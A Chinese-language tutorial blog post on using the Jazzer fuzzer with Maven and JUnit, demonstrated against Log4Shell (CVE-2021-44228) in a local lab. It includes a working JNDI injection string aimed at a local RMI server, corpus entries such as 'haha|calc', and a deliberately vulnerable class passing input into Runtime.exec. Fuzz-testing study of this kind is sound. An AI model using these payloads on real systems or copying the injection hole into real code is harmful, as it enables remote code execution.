Jazzer简介

Github: https://github.com/CodeIntelligenceTesting/jazzer

Jazzer 是由Code Intelligence开发的面向 JVM 平台的覆盖率引导式进程内模糊测试工具。它基于libFuzzer,并将 libFuzzer 的许多基于插桩的变异功能引入了 JVM。

Jazzer 与 JUnit(5.9.0 或更高版本)无缝集成,允许您在编写常规单元测试的同时编写模糊测试。推荐的入门方法是将此jazzer-junit依赖项添加到您的项目中。此软件包可在Maven Central上找到,并使用此密钥签名。

您可以将 Jazzer 与常用的构建工具一起使用

Jazzer有两种运行方式:Junit集成、独立运行(jar或二进制)

下文基于Log4j2 Shell(CVE-2021-44228)简单介绍Maven构建工具下,关于Jazzer的使用,包含自定义词典

前置知识

什么是插桩(Gemini)

1、通俗比喻:走迷宫
想象你在探索一个漆黑的巨大迷宫(目标程序):

没有插桩 (黑盒测试/Blind Fuzzing): 你闭着眼睛在迷宫里乱撞。你扔进去一个输入,如果程序没崩(没死机),你就不知道这个输入到底跑到了迷宫的哪里,也不知道它离出口(漏洞)还有多远。你只能瞎猜下一个输入。

有了插桩 (灰盒测试/Coverage-guided Fuzzing): Jazzer 在迷宫的每一个路口(if/else、循环、函数调用)都装上了感应灯和计数器。 当你扔进去一个输入,Jazzer 立刻就能看到:“哦!这个输入点亮了第 3 区的灯,走了左边的路口。” Jazzer 的逻辑变成了:“既然刚才那个输入走到了左边,那我修改一下那个输入,看看能不能让它往右边走。”

这就是插桩的作用:给 Fuzzer 提供“导航图”和“反馈”。

2、技术原理:Jazzer 的插桩到底干了啥?
在计算机科学中,插桩是指在保证程序原有逻辑不变的前提下,向程序代码中插入额外的代码片段,用于收集运行时信息。

关于Fuzz(Gemini)

Jazzer (-dict) 是一个变异器-dict 参数提供的只是“积木”(Tokens)。Jazzer 会随机抽取这些积木进行拼接、翻转、插入,它不保证一开始就完整发送字典里的一整行字符串。

使用Jazzer单独程序运行时,-dict或命令行参数后的语料库文件夹都是只提供一个初始化值,让Jazzer对这些输入进行变形,所以使用Jazzer不能实现指定输入的方案

环境搭建

  • JDK1.8.0_65
  • log4j-core 2.14.1
  • jazzer 0.26.0
  • jazzer-junit 0.26.0
  • JNDI注册中心+HTTP托管
    • marshalsec-0.0.3
    • Python 3.13.5

导入相关依赖,pom.xml如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>top.lrui1</groupId>
<artifactId>poc</artifactId>
<version>1.0</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>

</project>

src/main/java/top/lrui1/Poc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package top.lrui1;


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Poc {
private static Logger logger = LogManager.getLogger(Poc.class);

public void testLog4j(String input) {
logger.error("success for receive: {}", input);
logger.error("上述信息没有异常");
}

public static void main(String[] args) {
String input = "${jndi:rmi://127.0.0.1:9999/Evil}";
logger.error("success for receive: {}" , input);
}
}

IDEA运行main方法,可弹出计算器,JNDI服务配置参考 https://lrui1.top/posts/e363a33b/#自定义词典扫描

使用mvn执行编译

1
2
3
4
5
# 1. 编译项目
mvn clean compile

# 2. 将依赖 Jar 包复制到 target/dependency 目录下 (方便后续引用)
mvn dependency:copy-dependencies

由于JDK1.8.0_65对中央仓库的Maven证书不可信((常见于低版本JDK)),下载依赖时可能会报错

解决方案:可手动添加证书到JDK的证书库中

证书获取方式:

访问网站:在浏览器(Chrome/Edge)中打开 https://repo.maven.apache.org

查看证书

点击地址栏左侧的**“锁”图标** (🔒)。

点击 “连接是安全的” (Connection is secure) -> “证书已有效” (Certificate is valid)。

导出文件

在弹出的窗口中,切换到 “详细信息” (Details) 标签页。

点击 “导出” (Export) 按钮。

格式选择:选择 Base64 编码 X.509 (.CER) (这其实就是 PEM 格式,兼容性最好)。

文件名:保存为 repo.maven.apache.org.crt。

导入证书命令如下

1
2
3
4
5
# 假设证书文件repo.maven.apache.org.crt
keytool -import -alias maven-central ^
-file "D:\Downloads\repo.maven.apache.org.crt" ^
-keystore "%JAVA_HOME%\jre\lib\security\cacerts" ^
-storepass changeit

导入后即可正常下载依赖

mvn命令能正常执行,接下来就是使用jazzer来进行Fuzz测试

jazzer_standalone.jar运行Fuzz

下载地址: https://github.com/CodeIntelligenceTesting/jazzer/releases

jazzer在单独运行的场景下,使用–target_class参数指定要测试的类文件,默认测试其fuzzerTestOneInput方法,修改测试代码如下

src/main/java/top/lrui1/Poc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package top.lrui1;


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Poc {
private static Logger logger = LogManager.getLogger(Poc.class);

public void testLog4j(String input) {
logger.error("success for receive: {}", input);
logger.error("上述信息没有异常");
}

// --- 新增:Jazzer 的入口方法 ---
// Jazzer 会不断生成随机字节数组传给 data
public static void fuzzerTestOneInput(byte[] data) {
// 将字节转换为字符串,作为 fuzz payload
String input = new String(data);

// 实例化你的业务类并调用目标方法
Poc poc = new Poc();
poc.testLog4j(input);
}


public static void main(String[] args) {
String input = "${jndi:rmi://127.0.0.1:9999/Evil}";
logger.error("success for receive: {}" , input);
}
}

在项目根目录上创建文件夹corpus

1
2
3
4
5
D:\lrui1-whole\workplace\idea\jazzer-test2>
1.bin
2.bin
3.bin
4.bin

1.bin~4.bin的内容分别如下:一个文件一行

1
2
3
4
test
string1
haha|calc
success for receive: ${jndi:rmi://127.0.0.1:9999/Evil}

随后执行以下命令

1
2
3
4
5
6
7
8
9
10
11
12
# 1. 编译项目
mvn clean compile

# 2. 将依赖 Jar 包复制到 target/dependency 目录下 (方便后续引用)
mvn dependency:copy-dependencies

# 运行Fuzz
java -cp "jazzer\jazzer_standalone.jar;target\classes;target\dependency\log4j-api-2.14.1.jar;target\dependency\log4j-core-2.14.1.jar" ^
com.code_intelligence.jazzer.Jazzer ^
--target_class=top.lrui1.Poc ^
-runs=0 ^
corpus

不要使用jazzer.exe来运行,在我当前这个环境下会提示找不到top.lrui1.Poc,可能跟JDK版本有关

-runs=0是将我们的语料库文件不经过变换,直接喂给Jazzer;corpus是语料库的文件夹

命令输出的内容如下

image.png

虽然日志里有体现JNDI,但是我的JNDI注册中心—marshalsec并没有收到请求,所以没弹出计算器,有知道的大佬可以在楼下教教站长😥

集成Junit运行Fuzz(推荐)

引入依赖,pom.xml如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>top.lrui1</groupId>
<artifactId>poc</artifactId>
<version>1.0</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

<!-- https://mvnrepository.com/artifact/com.code-intelligence/jazzer-junit -->
<dependency>
<groupId>com.code-intelligence</groupId>
<artifactId>jazzer-junit</artifactId>
<version>0.26.0</version>
<scope>test</scope>
</dependency>
</dependencies>
</project>

src/test/java/top/lrui1/PocFuzzTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package top.lrui1;

import com.code_intelligence.jazzer.api.FuzzedDataProvider;
import com.code_intelligence.jazzer.junit.FuzzTest;

public class PocFuzzTest {

@FuzzTest(maxDuration = "10s")
public void fuzzLog4j(FuzzedDataProvider data) {
// 获取输入字符串
String input = data.consumeRemainingAsString();
Poc poc = new Poc();
poc.testLog4j(input);
}
}

jazzer-junit有两种运行方式,回归模式和Fuzz模式,变量JAZZER_FUZZ=0为回归,=1为Fuzz

相比于standlone模式,语料库有默认目录,举个栗子,上方编写的PocFuzzTest

src/test/java/top/lrui1/PocFuzzTest.java,其对应的语料库目录是

src/test/resources/top/lrui1/PocFuzzTestInputs/fuzzLog4j

文件系统目录如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
D:\lrui1-whole\workplace\idea\jazzer-test2\src\test
├─java
│ └─top
│ └─lrui1
│ PocFuzzTest.java

└─resources
└─top
└─lrui1
└─PocFuzzTestInputs
└─fuzzLog4j
1.bin
2.bin
3.bin
4.bin

回归模式——将语料库输入全部给到Jazzer,不做变换;Fuzz模式会对输入进行变换,默认是回归模式

运行Jazzer

1
mvn clean test -Dtest=top.lrui1.PocFuzzTest#fuzzLog4j

弹出计算器

image.png

关于Standlone.jar下弹出计算器的其他尝试

src/main/java/top/lrui1/RcePoc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package top.lrui1;

import java.io.IOException;

public class RcePoc {
public static void fuzzerTestOneInput(byte[] data){
// 将字节转换为字符串,作为 fuzz payload
String input = new String(data);
// 模拟命令注入漏洞
try {
System.out.println("your input is: "+input);
Runtime.getRuntime().exec("cmd /k echo "+input);
} catch (IOException e) {
e.printStackTrace();
}
}
}

运行

1
2
3
4
5
6
7
8
9
# 1. 编译项目
mvn clean compile

# 2. 运行Jazzer
java -cp "jazzer\jazzer_standalone.jar;target\classes" ^
com.code_intelligence.jazzer.Jazzer ^
--target_class=top.lrui1.RcePoc ^
-runs=0 ^
corpus

弹出计算器

image.png

为啥不能触发CVE-2021-44228的Log4j呢,不到了

总结

Jazzer是一个优秀的开源模糊测试工具,相比于JQF他的社区活跃度更高,文档更完善

参考链接

https://github.com/CodeIntelligenceTesting/jazzer

https://juejin.cn/post/7376477309320036362